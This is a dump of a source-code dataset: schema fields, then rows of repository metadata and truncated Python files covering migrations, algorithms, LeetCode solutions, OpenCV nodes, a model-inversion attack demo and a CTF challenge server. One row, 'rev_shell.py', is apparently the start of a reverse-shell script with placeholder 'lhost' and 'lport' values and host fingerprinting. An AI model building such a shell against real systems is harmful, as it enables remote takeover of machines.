hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
7a8007f2df96a2f30a23ab482d68fd3fce8d6d68
552
py
Python
Backend/migrations/alembic/versions/c34d4cef2dad_create_risklayer_prognosis_table.py
dbvis-ukon/coronavis
f00374ac655c9d68541183d28ede6fe5536581dc
[ "Apache-2.0" ]
15
2020-04-24T20:18:11.000Z
2022-01-31T21:05:05.000Z
Backend/migrations/alembic/versions/c34d4cef2dad_create_risklayer_prognosis_table.py
dbvis-ukon/coronavis
f00374ac655c9d68541183d28ede6fe5536581dc
[ "Apache-2.0" ]
2
2021-05-19T07:15:09.000Z
2022-03-07T08:29:34.000Z
Backend/migrations/alembic/versions/c34d4cef2dad_create_risklayer_prognosis_table.py
dbvis-ukon/coronavis
f00374ac655c9d68541183d28ede6fe5536581dc
[ "Apache-2.0" ]
4
2020-04-27T16:20:13.000Z
2021-02-23T10:39:42.000Z
"""create risklayer_prognosis table Revision ID: c34d4cef2dad Revises: 91aca0bccf3f Create Date: 2020-11-25 21:28:24.950572 """ from alembic import op # revision identifiers, used by Alembic. revision = 'c34d4cef2dad' down_revision = '91aca0bccf3f' branch_labels = None depends_on = None def upgrade(): op.get_b...
19.034483
51
0.722826
8f97e94a18285cf34bf938339b39502700a5b24b
2,331
py
Python
TreeModelLib/TreeModel.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
1
2021-03-16T08:35:50.000Z
2021-03-16T08:35:50.000Z
TreeModelLib/TreeModel.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
67
2019-11-14T11:29:52.000Z
2022-03-09T14:37:11.000Z
TreeModelLib/TreeModel.py
mcwimm/pyMANGA
6c7b53087e53b116bb02f91c33974f3dfd9a46de
[ "MIT" ]
6
2019-11-12T11:11:41.000Z
2021-08-12T13:57:22.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @date: 2018-Today @author: jasper.bathmann@ufz.de """ class TreeModel: def getAbovegroundResources(self): return self.aboveground_resources def getBelowgroundResources(self): return self.belowground_resources ## This function initializes...
40.894737
78
0.722008
8f59b51dac0f2d5fc7bf8de18396aaa79599d230
11,377
py
Python
AI_Engine_Development/Feature_Tutorials/12-axis-traffic-generator/sw/pysrc/run_traffic_gen_noplot.py
jlamperez/Vitis-Tutorials
9a5b611caabb5656bbb2879116e032227b164bfd
[ "Apache-2.0" ]
567
2019-10-01T16:31:26.000Z
2022-03-31T18:43:30.000Z
AI_Engine_Development/Feature_Tutorials/12-axis-traffic-generator/sw/pysrc/run_traffic_gen_noplot.py
jlamperez/Vitis-Tutorials
9a5b611caabb5656bbb2879116e032227b164bfd
[ "Apache-2.0" ]
142
2019-11-25T14:42:16.000Z
2022-03-31T15:06:56.000Z
AI_Engine_Development/Feature_Tutorials/12-axis-traffic-generator/sw/pysrc/run_traffic_gen_noplot.py
jlamperez/Vitis-Tutorials
9a5b611caabb5656bbb2879116e032227b164bfd
[ "Apache-2.0" ]
387
2019-10-10T09:14:00.000Z
2022-03-31T02:51:02.000Z
# #© Copyright 2021 Xilinx, Inc. # #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #Unless required by applicable law or agreed to in writing, s...
33.266082
119
0.568779
85bd1b8c77bf40353b5f89813d73d7577a52519a
6,074
py
Python
Graphalgorithmen/Dijkstra Algorithmus/Dijkstra (kzw).py
NiclasDev63/Algorithmen
64c24d0501f9e12ea9be6ae4fa946ad8a40134f6
[ "MIT" ]
null
null
null
Graphalgorithmen/Dijkstra Algorithmus/Dijkstra (kzw).py
NiclasDev63/Algorithmen
64c24d0501f9e12ea9be6ae4fa946ad8a40134f6
[ "MIT" ]
null
null
null
Graphalgorithmen/Dijkstra Algorithmus/Dijkstra (kzw).py
NiclasDev63/Algorithmen
64c24d0501f9e12ea9be6ae4fa946ad8a40134f6
[ "MIT" ]
null
null
null
# Hier erstellen wir die Klasse Graph class Graph(): # Das ist der Konstruktor der Klasse # Hier speichern wir die Anzahl der Knoten und erstellen # einen vorerst ungewichteten Graphen def __init__(self, knoten): # Anzahl der gewünschten Knoten self.knoten = knoten # Erstellen...
34.708571
116
0.598782
a441213dd9b4212f0dd1379ba78a58d216686074
334
py
Python
leetcode/292-Nim-Game/NimGame_001_TLE.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2015-12-16T04:01:03.000Z
2015-12-16T04:01:03.000Z
leetcode/292-Nim-Game/NimGame_001_TLE.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
leetcode/292-Nim-Game/NimGame_001_TLE.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
class Solution(object): def canWinNim(self, n): """ :type n: int :rtype: bool """ dp = [False] * 4 cur = 0 for i in xrange(n): dp[-1] = (not dp[0]) or (not dp[1]) or (not dp[2]) dp[cur] = dp[-1] cur = (cur + 1) % 3 ...
22.266667
62
0.383234
a499f27742483cdd17d7be8d14d5634d91352efc
957
py
Python
revs_shell_nc/rev_shell.py
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
4
2021-04-23T15:39:17.000Z
2021-12-27T22:53:24.000Z
revs_shell_nc/rev_shell.py
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
null
null
null
revs_shell_nc/rev_shell.py
Unam3dd/Train-2018-2020
afb6ae70fe338cbe55a21b74648d91996b818fa2
[ "MIT" ]
2
2021-04-19T08:28:54.000Z
2022-01-19T13:23:29.000Z
#coding:utf-8 import socket import subprocess import os from datetime import datetime import json import time from platform import platform from platform import system from platform import version from platform import machine import urllib2 HOST = 'lhost' PORT = lport os_plat = system() os_ver = version() os_arch = ...
21.75
123
0.656217
bb071212b837222c36850264157842dac04ef9a6
1,538
py
Python
packages/OpenCV/nodes/OpenCV___CornerHarris0/OpenCV___CornerHarris0___METACODE.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
packages/OpenCV/nodes/OpenCV___CornerHarris0/OpenCV___CornerHarris0___METACODE.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
packages/OpenCV/nodes/OpenCV___CornerHarris0/OpenCV___CornerHarris0___METACODE.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
from custom_src.NodeInstance import NodeInstance from custom_src.Node import Node import cv2 # USEFUL # self.input(index) <- access to input data # self.outputs[index].set_val(val) <- set output data port value # self.main_widget <- access to main widget class %NODE_TITLE%_...
28.481481
92
0.648244
246d1586c856bd8cb0824d6d508175d755e0e753
3,616
py
Python
cbm/extract/db_tables.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
17
2021-01-18T07:27:01.000Z
2022-03-10T12:26:21.000Z
cbm/extract/db_tables.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
4
2021-04-29T11:20:44.000Z
2021-12-06T10:19:17.000Z
cbm/extract/db_tables.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
47
2021-01-21T08:25:22.000Z
2022-03-21T14:28:42.000Z
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This file is part of CbM (https://github.com/ec-jrc/cbm). # Author : Guido Lemoine, Konstantinos Anastasakis # Credits : GTCAP Team # Copyright : 2021 European Commission, Joint Research Centre # License : 3-Clause BSD def tables_dict(): tb = { "dc"...
29.884298
67
0.348728
709f2dabd48f2b3dbc42188fe0d838a16363187e
597
py
Python
Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/27. reverse words in a string.py
jaswinder9051998/Resources
fd468af37bf24ca57555d153ee64693c018e822e
[ "MIT" ]
101
2021-12-20T11:57:11.000Z
2022-03-23T09:49:13.000Z
Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/27. reverse words in a string.py
Sid-1164/Resources
3987dcaeddc8825f9bc79609ff26094282b8ece1
[ "MIT" ]
4
2022-01-12T11:55:56.000Z
2022-02-12T04:53:33.000Z
Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/27. reverse words in a string.py
Sid-1164/Resources
3987dcaeddc8825f9bc79609ff26094282b8ece1
[ "MIT" ]
38
2022-01-12T11:56:16.000Z
2022-03-23T10:07:52.000Z
""" Write a function that accepts a string and reverses every word of the string and then returns the reversed string. If the input string contains any leading or trailing spaces or multiple spaces between two words, remove the extra spaces. The output string should only have a single space separating the words. Exa...
33.166667
123
0.740369
3b8567bb93e0634ad79e37b32d7b308ff78d108d
6,096
py
Python
example/model_inversion/generator_attack.py
luoshenseeker/AIJack
4e871a5b3beb4b7c976d38060d6956efcebf880d
[ "MIT" ]
24
2021-11-17T02:16:47.000Z
2022-03-27T01:04:08.000Z
example/model_inversion/generator_attack.py
luoshenseeker/AIJack
4e871a5b3beb4b7c976d38060d6956efcebf880d
[ "MIT" ]
9
2021-12-03T06:09:27.000Z
2022-03-29T06:33:53.000Z
example/model_inversion/generator_attack.py
luoshenseeker/AIJack
4e871a5b3beb4b7c976d38060d6956efcebf880d
[ "MIT" ]
5
2022-01-12T09:58:04.000Z
2022-03-17T09:29:04.000Z
import random import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import torchvision import torchvision.transforms as transforms from matplotlib import pyplot as plt from torch.utils.data.dataset import Subset from aijack.attack import Generator_Attack from aijack.collaborat...
29.882353
121
0.607119
79b837d956726347e4abd1e402c53e9b1d2e7ff7
528
py
Python
2194-cells-in-a-range-on-an-excel-sheet/2194-cells-in-a-range-on-an-excel-sheet.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
2
2021-12-05T14:29:06.000Z
2022-01-01T05:46:13.000Z
2194-cells-in-a-range-on-an-excel-sheet/2194-cells-in-a-range-on-an-excel-sheet.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
2194-cells-in-a-range-on-an-excel-sheet/2194-cells-in-a-range-on-an-excel-sheet.py
hyeseonko/LeetCode
48dfc93f1638e13041d8ce1420517a886abbdc77
[ "MIT" ]
null
null
null
class Solution: def cellsInRange(self, s: str) -> List[str]: alphabet = [c for c in string.ascii_uppercase] digit = [str(i) for i in range(1, 10)] from_row = alphabet.index(s[0]) from_col = digit.index(s[1]) to_row = alphabet.index(s[3]) to_col = digit.index(s[4]) ...
35.2
56
0.551136
eb72fbd3af05fa3a3e8b9e53393a189cbc4588ac
3,417
py
Python
marsyas-vamp/marsyas/scripts/regtest_coffee.py
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
marsyas-vamp/marsyas/scripts/regtest_coffee.py
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
marsyas-vamp/marsyas/scripts/regtest_coffee.py
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import sys import os import filecmp print "This is no longer used. File only exists for archival interest" sys.exit(1) MIN_VERSION = 0.1 # since marsyas-coffee-data is sold seperately LOG_FILE = 'results.log' # chdir to test directory marsyasBaseDir = os.path.dirname(sys.argv[0]) marsyasBaseD...
29.456897
90
0.673105
692ec39e6cac224b3b20731114922da3f5c6717d
2,938
py
Python
research/cv/RCAN/export.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/RCAN/export.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/RCAN/export.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
48.163934
119
0.720218
69569be6e58afce9445b1f97a6c657392e177a97
3,045
py
Python
DDPG/DDPG_net.py
pickxiguapi/rl-algorithm
a57991acd178077fd7f51bcd4ae2ee58492475c2
[ "MIT" ]
2
2021-01-06T09:45:23.000Z
2021-04-21T09:39:14.000Z
DDPG/DDPG_net.py
pickxiguapi/rl-algorithm
a57991acd178077fd7f51bcd4ae2ee58492475c2
[ "MIT" ]
null
null
null
DDPG/DDPG_net.py
pickxiguapi/rl-algorithm
a57991acd178077fd7f51bcd4ae2ee58492475c2
[ "MIT" ]
null
null
null
# -*- encoding: utf-8 -*- """ @File : DDPG_net.py @Time : 2020/12/12 @Author : Yuan Yifu """ import torch import torch.nn as nn import torch.nn.functional as F import numpy as np def fanin_init(size, fanin=None): """ 以合理的方式初始化weight :param size: :param fanin: :return: """ fanin = f...
27.681818
72
0.600985
696fa79fd752cbbfe6b5f0f4177fbef2f4cd0f7e
531
py
Python
pacman-termux/test/pacman/tests/provision004.py
Maxython/pacman-for-termux
3b208eb9274cbfc7a27fca673ea8a58f09ebad47
[ "MIT" ]
23
2021-05-21T19:11:06.000Z
2022-03-31T18:14:20.000Z
source/pacman-6.0.1/test/pacman/tests/provision004.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
11
2021-05-21T12:08:44.000Z
2021-12-21T08:30:08.000Z
source/pacman-6.0.1/test/pacman/tests/provision004.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-09-26T08:44:40.000Z
2021-09-26T08:44:40.000Z
self.description = "-S literal with provision of same name installed" sp = pmpkg("provision", "1.0-2") sp.provides = ["literal"] sp.conflicts = ["literal"] self.addpkg2db("sync", sp) sp = pmpkg("literal", "1.0-2") self.addpkg2db("sync2", sp) lp = pmpkg("provision") lp.provides = ["literal"] lp.conflicts = ["literal"...
24.136364
69
0.696798
bab6fd2d05ab24f0438adb8dd18946b37aea7eb0
6,999
py
Python
7-assets/past-student-repos/Intro-Python-master/src/mini-challenge/hangman.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/Intro-Python-master/src/mini-challenge/hangman.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/Intro-Python-master/src/mini-challenge/hangman.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
import curses, random, sys, time class Hangman: def __init__(self, s): s.addstr(0, 0, ' ┌─────┐') s.addstr(1, 0, ' │ │') s.addstr(2, 0, ' │') s.addstr(3, 0, ' │') s.addstr(4, 0, ' │') s.addstr(5, 0, ' │') s.addstr(6, 0, ' │') s.addstr(7, 0,...
33.328571
108
0.464495
06542ef8bcee9d27ee33bc6debe3020a14a26b0e
2,565
py
Python
Python/pyBitwiseAutomation/StepscopeDevice.py
jimwaschura/Automation
f655feeea74ff22ebe44d8b68374ba6983748f60
[ "BSL-1.0" ]
null
null
null
Python/pyBitwiseAutomation/StepscopeDevice.py
jimwaschura/Automation
f655feeea74ff22ebe44d8b68374ba6983748f60
[ "BSL-1.0" ]
null
null
null
Python/pyBitwiseAutomation/StepscopeDevice.py
jimwaschura/Automation
f655feeea74ff22ebe44d8b68374ba6983748f60
[ "BSL-1.0" ]
1
2020-08-16T00:11:55.000Z
2020-08-16T00:11:55.000Z
# StepscopeDevice.py # ================================================================================ # BOOST SOFTWARE LICENSE # # Copyright 2020 BitWise Laboratories Inc. # Original Author.......Jim Waschura # Contact...............info@bitwiselabs.com # # Permission is hereby granted, free of charge, to any person ...
42.75
82
0.678752
88fc1ee0481223a8c4cd79db20e6c22ec53438ec
3,623
py
Python
aecb/api/models.py
snvc00/aecb-backend
96847008d7b8d986099c0ce08e1026926ef3c68d
[ "MIT" ]
null
null
null
aecb/api/models.py
snvc00/aecb-backend
96847008d7b8d986099c0ce08e1026926ef3c68d
[ "MIT" ]
null
null
null
aecb/api/models.py
snvc00/aecb-backend
96847008d7b8d986099c0ce08e1026926ef3c68d
[ "MIT" ]
null
null
null
from django.db import models from django.contrib.contenttypes.fields import GenericForeignKey from django.contrib.contenttypes.models import ContentType def upload_to(instance, filename): return "cards/{filename}".format(filename=filename) class Client(models.Model): name = models.CharField(max_length=60) ...
40.255556
113
0.760696
ae46836ac871e6d0a4c62ce8d86c56760b03ad5b
2,120
py
Python
NeuralNet/Alex/dataloader/plot.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
6
2017-04-12T14:05:19.000Z
2021-01-29T11:23:50.000Z
NeuralNet/Alex/dataloader/plot.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
null
null
null
NeuralNet/Alex/dataloader/plot.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
null
null
null
import matplotlib.pyplot as plt import csv default_path = "result.csv" default_color = ["red","blue","yellow","green","grey","blue"] def write_csv(var, path = default_path): keys = list(var.keys()) values = list(var.values()) with open(path, 'w', newline='\n') as csvfile: writer = csv.writer(csvfi...
35.333333
125
0.587736
4e7d8de1b28f906b915d59901412375f141f9963
2,419
py
Python
PlaidCTF/2021/web/Carmen_Sandiego_Season2/instance/server-sensor/sensor/server.py
mystickev/ctf-archives
89e99a5cd5fb6b2923cad3fe1948d3ff78649b4e
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
PlaidCTF/2021/web/Carmen_Sandiego_Season2/instance/server-sensor/sensor/server.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
PlaidCTF/2021/web/Carmen_Sandiego_Season2/instance/server-sensor/sensor/server.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-12-19T11:06:24.000Z
2021-12-19T11:06:24.000Z
from socketserver import ThreadingTCPServer, UnixStreamServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn import re from threading import Lock, Thread import time import os from queue import Queue SENSOR_REGEX = r"([a-z]{1,512}): ([0-9a-zA-Z.+=-]+)" connection_lock = Lock() class ThreadingUnixStreamSer...
22.607477
119
0.622571
11784a72399c1b73451e052b0b2c7b9283c6ac95
121
py
Python
data_tests/no_arg.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
88
2019-01-08T16:39:08.000Z
2022-02-06T14:19:23.000Z
data_tests/no_arg.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
13
2019-06-20T15:53:10.000Z
2021-02-09T11:03:29.000Z
data_tests/no_arg.py
fluiddyn/transonic
a460e9f6d1139f79b668cb3306d1e8a7e190b72d
[ "BSD-3-Clause" ]
1
2019-11-05T03:03:14.000Z
2019-11-05T03:03:14.000Z
from transonic import boost @boost def func(): return 1 # transonic def func2() @boost def func2(): return 1
9.307692
27
0.661157
01266d882f13d522259ca2a01b122cd4e73a8436
357
py
Python
workSpace/test/led.py
fibeule/Micropython-Tutorial-for-esp32
eea251efd7b7b6b15af96f6f84d3281e1119234a
[ "MIT" ]
5
2018-07-24T17:41:15.000Z
2021-02-07T13:59:42.000Z
workSpace/test/led.py
fibeule/Micropython-Tutorial-for-esp32
eea251efd7b7b6b15af96f6f84d3281e1119234a
[ "MIT" ]
null
null
null
workSpace/test/led.py
fibeule/Micropython-Tutorial-for-esp32
eea251efd7b7b6b15af96f6f84d3281e1119234a
[ "MIT" ]
5
2018-07-24T17:41:03.000Z
2021-10-01T07:06:16.000Z
from lib.display.led import LED, RGB_LED led_red = LED(15) led_green = LED(4) led_blue = LED(16) led_red.fade_up(10) led_red.fade_down(10) led_green.fade_up(10) led_green.fade_down(10) led_blue.fade_up(10) led_blue.fade_down(10) rgb = RGB_LED(led_red, led_green, led_blue) rgb.rainbow() led_red.off()...
17
44
0.717087
fef117c980947f7a8594ae7f7b34a659e22b6e1b
6,570
py
Python
haas_lib_bundles/python/docs/examples/smart_aquarium/esp32/code/main.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/smart_aquarium/esp32/code/main.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
haas_lib_bundles/python/docs/examples/smart_aquarium/esp32/code/main.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
null
null
null
import hx710 # 引入HX710传感器驱动库 import tds # 引入tds传感器驱动库 import ds18b20 # 引入ds18b20传感器驱动库 import relay # 引入继电器驱动库 from driver import ADC from driver import GPIO import utime # 延时函数在utime库中 from aliyunIoT import Device # iot组件是...
23.890909
96
0.598935
3a8cd25ba7079c8dac7f65f6550b75ca56dd6882
2,057
py
Python
infrastructure/function.py
lizzyTheLizard/homeserver-azure
e79bd23ea09a1ce1a77afd73bb9acfd402dfdc57
[ "MIT" ]
null
null
null
infrastructure/function.py
lizzyTheLizard/homeserver-azure
e79bd23ea09a1ce1a77afd73bb9acfd402dfdc57
[ "MIT" ]
null
null
null
infrastructure/function.py
lizzyTheLizard/homeserver-azure
e79bd23ea09a1ce1a77afd73bb9acfd402dfdc57
[ "MIT" ]
null
null
null
from azwrapper import * # Create the function app (only PROD) def createFunction(group, name, location, sbName, dbName, storageName, adConfig): if resourceExists(group, name): print('Function app already exists ' + name) return # Create the actual app print('Create function ' + name) c...
54.131579
181
0.675255
3ab7d3d25cb9c03cc66a89fbae47ded6ec437466
296
py
Python
marsyas-vamp/marsyas/scripts/large-evaluators/tempo-reference-implementation/check_pickles.py
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
marsyas-vamp/marsyas/scripts/large-evaluators/tempo-reference-implementation/check_pickles.py
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
marsyas-vamp/marsyas/scripts/large-evaluators/tempo-reference-implementation/check_pickles.py
jaouahbi/VampPlugins
27c2248d1c717417fe4d448cdfb4cb882a8a336a
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python import sys import pickle import pylab pickle_filenames = sys.argv[1:] for pickle_filename in pickle_filenames: pickle_file = open(pickle_filename, 'rb') oss_sr, oss_data = pickle.load(pickle_file) pickle_file.close() pylab.plot(oss_data) pylab.show()
15.578947
47
0.72973
3af5ede038ac50236fbfede44eba85f7fabd7cb2
398
py
Python
examples/keras-iris-pipeline/run_transform.py
pcrete/skil-python
672a1aa9e8af020c960ab9ee280cbb6b194afc3f
[ "Apache-2.0" ]
23
2018-09-19T13:34:27.000Z
2022-02-14T09:49:35.000Z
examples/keras-iris-pipeline/run_transform.py
pcrete/skil-python
672a1aa9e8af020c960ab9ee280cbb6b194afc3f
[ "Apache-2.0" ]
33
2018-10-18T07:58:05.000Z
2019-05-16T08:24:12.000Z
examples/keras-iris-pipeline/run_transform.py
pcrete/skil-python
672a1aa9e8af020c960ab9ee280cbb6b194afc3f
[ "Apache-2.0" ]
11
2018-10-21T18:58:57.000Z
2022-02-14T09:49:36.000Z
import skil import numpy as np skil_server = skil.Skil() work_space = skil.WorkSpace(skil_server) experiment = skil.Experiment(work_space) transform = skil.Transform(transform='iris_tp.json', experiment=experiment) deployment = skil.Deployment(skil_server) service = transform.deploy(deployment) with open('iris.data'...
24.875
75
0.766332
954ce8ae2e8181cc8364478637c8e45c86d3aeb7
35
py
Python
bootstrap/igloo_ansible/__init__.py
igloo-project/igloo-ansible
3c12dc1908f6652ea4ee82f6d779218eb374b91b
[ "Apache-2.0" ]
1
2022-01-21T12:57:49.000Z
2022-01-21T12:57:49.000Z
bootstrap/igloo_doc/__init__.py
igloo-project/igloo-doc
cb6521921bb8e0f7f4bb08ed862a117fee315001
[ "Apache-2.0" ]
null
null
null
bootstrap/igloo_doc/__init__.py
igloo-project/igloo-doc
cb6521921bb8e0f7f4bb08ed862a117fee315001
[ "Apache-2.0" ]
null
null
null
"""This is a dummy placeholder """
11.666667
30
0.657143
95be7eaf2f57b77ec5edeb476b6771027fd6299d
316
py
Python
restart_merge.py
ligang945/pyMisc
3107c80f7f53ffc797b289ec73d1ef4db80f0b63
[ "MIT" ]
null
null
null
restart_merge.py
ligang945/pyMisc
3107c80f7f53ffc797b289ec73d1ef4db80f0b63
[ "MIT" ]
null
null
null
restart_merge.py
ligang945/pyMisc
3107c80f7f53ffc797b289ec73d1ef4db80f0b63
[ "MIT" ]
null
null
null
def replace_in_file(old_str, new_str): file_name = 'ini/config/xdr_build.xml' str = open(file_name, 'r').read().replace(old_str, new_str) open(file_name, 'w').write(str) replace_in_file('<!--lg', '') n = 10 str1 = '<Stage%s/>' % n str1 = '<Stage%s/>\n<!--lg' % n replace_in_file(str1, str2)
26.333333
64
0.613924
c250cbbbfe3dbcf9f8748f3199ee192325e790bd
9,105
py
Python
official/cv/unet3d/src/transform.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
official/cv/unet3d/src/transform.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
official/cv/unet3d/src/transform.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
34.101124
110
0.602306
c2695d5abc82ec973c4797273d5613855af2072d
4,937
py
Python
ann-classification.py
caxenie/gradient-descent-ann
fb5b1d343466ed1d29cfd1f60682a462991290bb
[ "MIT" ]
null
null
null
ann-classification.py
caxenie/gradient-descent-ann
fb5b1d343466ed1d29cfd1f60682a462991290bb
[ "MIT" ]
null
null
null
ann-classification.py
caxenie/gradient-descent-ann
fb5b1d343466ed1d29cfd1f60682a462991290bb
[ "MIT" ]
null
null
null
import random import math import time as t def f(x): return math.tanh(x) def df(x): try: return 1 / (math.cosh(x) ** 2) except OverflowError: return 0 class Network: def __init__(self, l_in, l_hid, l_out, rate=0.05): self.num_layer_in = l_in self.num_layer_hid = l_...
31.246835
149
0.512862
6c2612c6e5070185152c11a9fa78af0c536e2b7c
1,813
py
Python
typeEchoShell.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
typeEchoShell.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
typeEchoShell.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
